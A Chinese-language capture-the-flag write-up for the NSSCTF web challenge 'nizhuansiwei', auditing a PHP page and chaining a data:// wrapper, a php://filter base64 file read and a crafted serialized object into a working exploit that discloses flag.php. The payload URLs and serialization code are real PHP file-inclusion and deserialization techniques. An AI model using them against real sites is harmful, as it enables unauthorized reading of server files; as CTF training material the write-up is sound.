NSSCTF WEB nizhuansiwei

karasbai發表於2024-08-14

進入題目頁面,先看一眼標籤,發現本題的標籤是反序列化,php偽協議。這些標籤是做過題的人共同選出來的,所以具有一定參考價值

進入到題目地址,發現是一段php原始碼,原始碼都給了,那當然是先來一手程式碼審計。


<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>
file_get_contents:將整個檔案讀入到一個字串中。使用該函式可以讀取本地的檔案、遠端檔案和 HTTP 請求的響應等內容。
語法:file_get_contents(path,include_path,context,start,max_length)
引數描述
path 必需。規定要讀取的檔案。
include_path 可選。如果也想在 include_path 中搜尋檔案的話,可以將該引數設為 "1"。
context 可選。規定檔案控制代碼的環境。context 是一套可以修改流的行為的選項。若使用 null,則忽略。
start 可選。規定在檔案中開始讀取的位置。該引數是 PHP 5.1 新加的。
max_length 可選。規定讀取的位元組數。該引數是 PHP 5.1 新加的。
 

preg_match:將給到的函式與所給的內容進行匹配,匹配成功返回1,未匹配則返回0

本題就是透過對flag進行匹配,來對GET的內容進行過濾

unserialize:將所給的值進行反序列化

根據上面獲得的資訊,我們可以知道,需要給text傳遞的值為"welcome to the zjctf",我們先傳一下試試,看會有什麼回顯。這裡我們用data來傳輸資料。

playload:/?text=data://text/plain,welcome to the zictf

發現存在回顯,說明我們方向正確,繼續輸入flie的引數useless.php來讀取useless.php的內容直接傳輸file=useless.php發現頁面變化,說明直接傳值無法讀取該檔案內容,那我們使用php://filter來進行讀取並對讀取檔名進行base64編碼。

playload:/?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

發現下面出現了一串編碼,放進bp的編碼工具,進行解碼獲得下面程式碼

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

到這基本就沒什麼了,就是對這段程式碼進行序列化。序列化程式碼如下:

<?php

class Flag{  //flag.php
    public $file;  }
$a = new Flag();
$a->file = 'flag.php';
$b=urlencode(serialize($a));
echo $b;

執行程式碼之後將內容傳給password就行了,要注意的是,這段程式碼是在useless.php介面下的,所以最終的playload也應該在這個介面,所以flie的值就直接傳useless.php

最終playload:/?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O%3A4%3A"Flag"%3A1%3A%7Bs%3A4%3A"file"%3Bs%3A8%3A"flag.php"%3B%7D

然後就獲得本題的flag了